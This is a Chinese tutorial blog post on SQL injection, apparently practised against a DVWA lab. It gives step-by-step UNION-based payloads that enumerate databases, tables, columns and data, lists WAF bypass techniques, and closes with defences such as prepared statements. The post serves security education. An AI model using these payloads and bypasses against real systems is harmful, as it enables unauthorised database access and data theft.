渗透测试技术----常见web漏洞--SQL注入攻击原理及防御

一、SQL注入攻击介绍

1.SQL注入攻击简介
SQL注入就是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库中查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
一般情况下,开发人员并不知道在运行过程中用户需要使用什么语句查询什么内容,这样开发人员只能通过动态的构造SQL语句来满足用户的需求,这样用户传入的参数就是用户可控的,攻击者可以任意拼接SQL语句进行攻击。

2.MySQL相关知识点
(1):MySQL版本(面试常见问题)
MySQL数据库5.0版本以后和5.0版本以前有一个很大的区别,那就是MySQL5.0以后的版本中默认放着一个information_schema数据库,这个数据库存放着该数据库中所有的库名、表名和列名等等。这样就可以根据information_schema这个数据库来爆出数据库的库名、表名和列名了,而MySQL5.0以前的版本只能通过暴力破解来跑库名、表名和列名。

(2):information_schema数据库介绍
information_schema数据库中存放着用户所有的数据,攻击者可以通过其中的信息来拿到数据库的各种信息。其中,在该数据库中,一定要记住三个表名,分别是SCHEMATA(用户创建的所有数据库的库名)、TABLES(用户创建的所有数据库的表名)、COLUMNS(用户创建的所有数据库的字段名)。
在SCHEMATA表中,存放数据库库名的字段名为SCHEMA_NAME。
在TABLES表中,存放数据库库名的字段的字段为TABLE_SCHEMA;存放数据库表名的字段为TABLE_NAME。
在COLUMNS表中,存放数据库库名的字段为TABLE_SCHEMA;存放数据库表名的字段为TABLE_NAME;存放数据库字段名的字段为COLUMN_NAME。

(3):MySQL中常用的三个函数

  • database():当前网站使用的数据库
  • version():当前MySQL数据库的版本
  • user():当前数据库的用户

(4):MySQL中常用的注释符
(1):使用#号进行注释
(2):使用–空格来进行注释(一般在URL栏中使用)
(3):使用–+来进行注释(其实这个和上一条是一样的,因为在MySQL中的URL编码中,+就代表的是空格)(一般在URL栏中使用)
(4):使用/**/来进行注释

二、SQL注入的原理

1.SQL注入的原理
SQL注入的原理实际上就是攻击者将恶意的SQL语句拼接到合法的语句中,使其带入数据库中查询,显示出一些本不该显示的内容。

2.SQL注入的条件
SQL注入需要满足以下两个条件

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库中查询:传入的参数拼接到SQL语句中,并且带入数据库中查询

三、SQL注入步骤

字符型SQL注入
1.判断是否存在着注入,注入是字符型还是数字型注入

判断SQL注入类型的方法。想办法让其报错,如果输入某种错误的代码回显与准确查询结果不同,那么就是该类型的SQL注入。
判断SQL注入类型最常用的四条语句
1’ and ‘1’=‘1 这个与只输入1的回显结果相同,1’ 和 and ‘1’='1都为真,因此会显示第一条结果
1’ and ‘1’=‘2 如果这条语句报错(或者说回显与1’ and ‘1’=‘1这一条不同),那么就说明数据库执行了and后面的’1’='2,那就说明该数据库存在字符型注入
1 and 1=1 这个输入与只输入1的回显结果相同,1 和 and 1=1都为真,因此会显示第一条结果
1 and 1=2 如果这条语句报错(或者说回显与1 and 1=1这一条不同),那么就说明数据库执行了and后面的1=2,那就说明数据库存在数字型输入
如下例(下例中的ID不是回显,只是打印了一下输入而已,不要被误导)

  • 只输入一个1,回显如下
    在这里插入图片描述
  • 输入1’ and ‘1’ = ‘1
    在这里插入图片描述
    现在也不能判断是否存在哪种类型的注入,因为现在不能确定and后面的’1’='1是否执行
  • 输入1’ and ‘1’ = ‘2
    在这里插入图片描述
    没有回显,说明and后面的’1’='2执行了,基本可以判断为字符型SQL注入
  • 输入 1 and 1=1
    在这里插入图片描述
    现在也不能判断是否存在哪种类型的注入,因为现在不能确定and后面的1=1是否执行
  • 输入 1 and 1=2
    在这里插入图片描述
    回显与之前输入1的回显相同,说明and 后面的1=2没有执行,说明不是数字型SQL注入

拓展
1’ or ‘1’=‘1为什么显示那么多?
or是前后两项中只要有一项正确是正确的,那么就是恒成立的。
1’ or ‘1’=‘1会把所有的行显示出来,而1’ and ‘1’=‘1只会显示一行。
当输入1’ or ‘1’=‘1,由于数据库从第一个开始检索,由于输入的是1,那么id(这个id是数据库检索的id)从1开始检索,第一个id(1)与输入的id相同,所以or前面的信息为真,后面的信息也为真,此时,输出第一项。当数据库检索id为2时,2与输入的1不相等,or前面为假,但是,or后面为1=1为真,因此or语句仍然成立,第二项仍旧可以输出出来。依此类推,后面所有的项都会输出出来。
1’ and ‘1’='1时只会显示查询的这一项(这块会显示第一项),因为当数据库进行检索时,先从第一项进行检索,此时检索的id与输入的id都为1相等,那么就输出这一行信息。当进行下一行时,检索的id为2与输入的id值不同,and前面为假,and后面为真,但是整条语句为假,因此只能输入这一行信息。
and 和or的执行顺序:and比or先执行!
如下例子

  • 输入1’ and ‘1’='1
    在这里插入图片描述
    上面结果只显示了第一项
  • 输入1’ or ‘1’='1
    在这里插入图片描述
    上面结果显示了所有项
2.猜解SQL查询语句中的字段数

猜解SQL查询语句中的字段数的方法是使用order by来查看报错的页面,比如在第四个页面出现了报错,那么字段数就是3。
语句:1’ order by 1#
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
当输入1 order by 3#时出现报错,说明字段数是2

3.确定显示位置

语句:1’ union select 1,2#
在这里插入图片描述

4.获取当前数据库信息

语法:1’ union select database(),version(),user()#(可以查看数据库名、版本、登录用户名等)
在这里插入图片描述

5.获取当前数据库中的表

语法:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#(这里的database()也可以使用上一步查询的结果来代替,使用’dvwa’代替database())
在这里插入图片描述

6.获取表中的字段名

语法:1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘要查询的表名’#
在这里插入图片描述

7.查看每一个字段的具体内容

语法:1’ union select 要查询的字段(可查询多个,使用逗号分隔) from 要查询的表名#
在这里插入图片描述

数字型SQL注入

数字型SQL注入与字符型SQL注入基本一致,在此做简要说明

1.判断是否存在着注入,注入是字符型还是数字型注入

语法:
1’ and ‘1’=‘1
1’ and ‘1’='2
1 and 1=1
1 and 1=2

2.猜测SQL查询语句中的字段数

语法:1 order by 1#

3.确定显示位置

语法:1 union select 1,2#

4.获取当前数据库信息(数据库名、数据库版本、登录用户)

语法:1 union select database(),version(),user()#

5.获取当前数据库中的表

语法:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

6.获取表中的字段名

语法:1 union select 1,group_concat(column_name) from information_schema.columns where table_name=要查询的数据库的表名的十六进制
注意:在这块不能使用表名,因为表名需要使用引号引起来,但是在数字型注入中不能使用引号,因此需要对表名进行转码(只需要转表名,不需要加引号),常用十六进制转码

7.查看每一个字段的具体内容

语法:1’ union select 要查询的字段(可查询多个,使用逗号分隔) from 要查询的表名#

四、SQL注入Bypass

1.大小写绕过注入:访问id=1’,发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回"no back",显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式进行绕过,如AND 1=1(任意字母大小写都可以,如anD 1=1,AnD 1=1等)。
2.双写绕过注入:访问id=1’,发现页面报出MySQL错误,接着访问id = 1 and 1=1,页面依然报错,从错误信息中可以看出,输入的id = 1 and 1=1变成了id 1 1=1,说明过滤了and,因此可以通过双写的方法(如anandd)进行绕过注入。
3.编码绕过注入:有时在URL栏中进行注入时,会出现MySQL错误,因此就需要进行URL编码来进行绕过注入。
4.使用内联注释绕过:访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面返回"no back",即关键字被拦截,尝试使用内联注释绕过,如(id = 1 /* !and */ 1=1)进行绕过。

五、防御SQL注入的方法

1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)

六、预编译的原理

如果采用了预编译技术,就会将sql语句:“select id, name from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行, 必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的,只会被当做字符串字面值参数。所以sql语句预编译可以防御sql注入。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值